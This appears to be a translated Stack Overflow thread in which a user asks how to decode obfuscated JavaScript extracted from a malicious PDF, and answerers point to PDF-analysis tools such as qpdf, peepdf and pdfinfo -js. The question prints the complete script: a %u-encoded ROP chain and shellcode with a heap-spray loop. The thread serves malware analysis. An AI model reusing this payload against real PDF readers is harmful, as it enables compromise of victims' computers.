5

我有一个 PDF 文件,我知道它包含一个 JavaScript 脚本文件,该文件执行恶意操作,目前还不确定。

我已经成功地解压缩了 PDF 文件并获得了纯文本 JavaScript 源代码,但是如果我以前从未见过这种语法中隐藏了某种代码,那么它就是代码本身。

代码示例:这是大部分代码的样子

var bDWXfJFLrOqFuydrq = unescape;
var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692....')

我想这种带有长变量/函数名称和隐藏文本字符的符号会混淆寻找这些类型事物的扫描仪。

两个问题:

问题 1

有人能告诉我这叫什么%u4141吗?

问题2

是否有一些工具可以将该符号转换为纯文本,以便我可以看到它在做什么?

完整的JS代码:

var B = unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uadba%u8e19%uda62%ud9cb%u2474%u58f4%uc931%u49b1%u5031%u8314%ufce8%u5003%u4f10%u72ec%u068a%u8b0f%u784b%u6e99%uaa7a%ufbfd%u7a2f%ua975%uf1c3%u5adb%u7757%u6df4%u3dd0%u4322%uf0e1%u0fea%u9321%u4d96%u7376%u9da6%u728b%uc0ef%u2664%u8fb8%ud6d7%ud2cd%ud7eb%u5901%uaf53%u9e24%u0520%ucf26%u1299%uf760%u7c92%u0651%u9f76%u41ad%u6bf3%u5045%ua2d5%u62a6%u6819%u4a99%u7194%u6ddd%u0447%u8e15%u1efa%uecee%uab20%u57f3%u0ba2%u66d0%ucd67%u6593%u9acc%u69fc%u4fd3%u9577%u6e58%u1f58%u541a%u7b7c%uf5f8%u2125%u0aaf%u8d35%uae10%u3c3d%uc844%u291f%ue6a9%ua99f%u71a5%u9bd3%u296a%u907b%uf7e3%ud77c%u4fd9%u2612%uafe2%ued3a%uffb6%uc454%u94b6%ue9a4%u3a62%u45f5%ufadd%u25a5%u928d%ua9af%u82f2%u63cf%u289b%ue435%u0464%ufd34%u560c%ue837%udf7f%u78d1%u8990%u154a%u9009%u8401%u0fd6%u866c%ua35d%u4990%uce96%u3e82%u8556%ue9f9%u3069%u1597%ubefc%u413e%ubc68%ua567%u3f37%ubd42%ud5fe%uaa2d%u39fe%u2aae%u53a9%u42ae%u070d%u77fd%u9252%u2b91%u1cc7%u98c0%u7440%uc7ee%udba7%u2211%u2036%u0bc4%u50bc%u7862%u417c');

var C = unescape("%"+"u"+"0"+"c"+"0"+"c"+"%u"+"0"+"c"+"0"+"c");

while (C.length + 20 + 8 < 65536) C+=C;

D = C.substring(0, (0x0c0c-0x24)/2);

D += B;
D += C;
E = D.substring(0, 65536/2);
while(E.length < 0x80000) E += E;
F = E.substring(0, 0x80000 - (0x1020-0x08) / 2);
var G = new Array();
for (H=0;H<0x1f0;H++) G[H]=F+"s";​
4

2 回答 2

20

看起来您已经从 PDF 中提取了 JavaScript。您的问题似乎与分析此 JavaScript 有关。

由于这个主题(在看起来无害的 PDF 文件中混淆和隐藏恶意 JavaScript 代码)似乎越来越受到恶意软件作者的欢迎,让我列出一些工具和网站,这些工具和网站证明对剖析此类威胁的初学者有帮助:

  1. Didier Stevens 的 PDF 工具
  2. Didier Stevens 的 PDF 恶意软件截屏视频的第 1 部分(在 YouTube 上)
  3. Jay Berkenbilt 的 QPDF:用于保存内容的 PDF 转换实用程序(用于解压 PDF 中所有/大多数压缩对象的有用命令:
    qpdf --qdf original.pdf unpacked.pdf
    然后在文本编辑器中打开 unpacked.pdf)
  4. Julia Wolf 关于 PDF 恶意软件混淆的演讲
  5. peepdf:用于探索 PDF 的 Python 工具(找出它们是否是恶意的)
  6. PDFTricks: PDF 源代码混淆方法的(非详尽的)列表
  7. Wepawet:分析 PDF/Javascript/Flash 文件的在线资源(生成报告)
  8. Origami-PDF:用于分析和生成恶意 PDF 的 Ruby 工具
  9. (......这里没有列出更多资源......)

我不知道您如何准确提取您在问题中提供的 Javascript 代码段。但是,无论如何,不​​要依赖在 PDF 中找到所有JS 代码——除非您是 PDF 专家,知道在哪里查找以及如何发现所有可能的混淆。(我建议您将工具 3 应用于源 PDF,并根据 6 中的提示查看生成的 PDF ......其他工具可能需要更多地研究 PDF 语法,然后才能真正使它们有用给你。)


更新

这是我(将近 3 年)旧答案的更新。值得补充的是:

  1. pdfinfo -js:最新(基于 Poppler!,而不是基于 XPDF)版本pdfinfo(从v0.25.0开始,于 2013 年 12 月 11 日发布)现在知道-js打印出嵌入在 PDF 文件中的 JavaScript 代码的命令行参数。

    /JavaScript即使在 PDF 源代码中的名称通过使用(正式合法的)PDF 名称结构(例如/4Aavascriptor/J#61v#61script或类似结构)混淆的情况下,这也适用于许多情况。

    不幸的是,这个奇妙的功能添加到pdfinfo现在仍然知之甚少。请分享!

更新 2

另一个更新,因为上面提到的peepdf工具最近添加了extract子命令:

  1. peepdf.js: This is a Python-based command line tool which can analyse PDF files. It was developed by Jose Miguel Esparza mainly in order to "find out if the file can be harmful or not", but is also very good for general exploration of PDF file structures.

    Installation and usage:

    1. Clone the GitHub repository:
      git clone https://github.com/jesparza/peepdf git.peepdf.
    2. Create a symlink to the peepdf.py script and put it somewhere into your $PATH:
      cd git.clone ;
      ln -s $(pwd)/peepdf.py ${HOME}/bin/peepdf.py
    3. Run it in interactive mode, opening a PDF file:
      peepdf.py -fil my.pdf
    4. Use the extract js > all-js-in-my.pdf command to extract and redirect all JavaScript contained in my.pdf into a file. This is depicted by the screenshots below:

于 2012-04-19T16:08:53.357 回答
1

这些可能是内存地址、操作系统调用、堆喷射等。

线索是被调用的函数是unescape. 获取您想要的unescape文本的实际值。有用于取消转义文本的在线工具,例如http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html

结果很可能是 ASCII 格式的垃圾,但您可以尝试将其插入十六进制编辑器,看看您是否可以更清楚地理解它。如果病毒扫描程序可以识别该文件的感染源,也许您可​​以对该特定恶意软件进行更多研究并找出该代码在做什么。

为了科学,启动一个 Windows 虚拟机,运行它,看看它做了什么 :)

于 2012-04-19T01:43:59.603 回答